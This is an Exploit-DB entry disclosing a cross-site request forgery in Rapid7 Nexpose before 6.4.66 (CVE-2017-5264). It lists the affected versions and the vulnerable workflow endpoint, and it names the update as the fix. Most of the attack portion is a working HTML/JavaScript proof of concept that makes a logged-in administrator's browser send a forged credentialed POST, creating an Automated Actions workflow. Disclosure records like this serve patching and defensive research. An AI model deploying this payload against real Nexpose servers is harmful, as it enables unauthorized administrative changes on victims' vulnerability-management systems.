Exploit-DB #43911
Description: Nexpose < 6.4.66 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2018-01-28
Author: Shwetabh Vishnoi

Exploit:
# Exploit Title: [Cross Site Request Forgery at Nexpose Automated Actions]
# Release Date: [2017-12-13]
# Exploit Author: [Shwetabh Vishnoi]
# Link: https://www.linkedin.com/in/shwetabhvishnoi
# Vendor Homepage: [https://www.rapid7.com/]
# Software Link: [https://www.rapid7.com/products/nexpose/download/]
# Tested on: [Windows,Linux,Mac]
# CVE : [CVE-2017-5264]
# Solution: Update to 6.4.66
# Affected Version(s): Rapid7 Nexpose 6.4.65
Rapid7 Nexpose 6.4.13
Rapid7 Nexpose 6.4.12
Rapid7 Nexpose 5.8.6
Rapid7 Nexpose 5.8
Rapid7 Nexpose 5.7.5
Rapid7 Nexpose 5.5.4
Rapid7 Nexpose 5.5.3
Rapid7 Nexpose 5.4.8
Rapid7 Nexpose 5.4.7
Rapid7 Nexpose 5.4.6
Rapid7 Nexpose 5.5.8
Rapid7 Nexpose 5.5.7
Rapid7 Nexpose 5.5.6
Rapid7 Nexpose 5.5.5
Rapid7 Nexpose 5.5.1
Rapid7 Nexpose 5.4.9
Rapid7 Nexpose 5.4.5
Rapid7 Nexpose 5.4.4
Rapid7 Nexpose 5.4.3
Rapid7 Nexpose 5.4.2
Rapid7 Nexpose 5.4.12
Rapid7 Nexpose 5.4.11
Rapid7 Nexpose 5.4.10
Rapid7 Nexpose 5.4.1
Rapid7 Nexpose 5.4

Description: Versions of Nexpose prior to 6.4.66 fail to adequately
validate the source of HTTP requests intended for the Automated
Actions administrative web application, and are susceptible to a
cross-site
request forgery (CSRF) attack.

Affected URL/endpoint:
https://nexpose-server.com/eso/conductor-service/api/workflows

Proof Of Concept:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST",
"https:\/\/nexpose-server.com\/eso\/conductor-service\/api\/workflows\/",
true);
        xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body =
"{\"name\":\"test2\",\"steps\":[{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"discover-known-assets\",\"previousTypeName\":\"\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"siteMetadata\",\"properties\":{\"siteID\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Integer\",\"value\":67}]},\"VULN_CATEGORY\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Object\",\"objectType\":\"VULN_CATEGORY_ITEM\",\"properties\":{\"operator\":{\"valueClass\":\"String\",\"value\":\"CONTAINS\"},\"operand1\":{\"valueClass\":\"String\",\"value\":\"dos\"}}}]}}}}},{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"tag\",\"previousTypeName\":\"discover-known-assets\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"tag\",\"properties\":{\"tagID\":{\"value\":339,\"valueClass\":\"Integer\",\"text\":\"Test\"}}}}}]}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>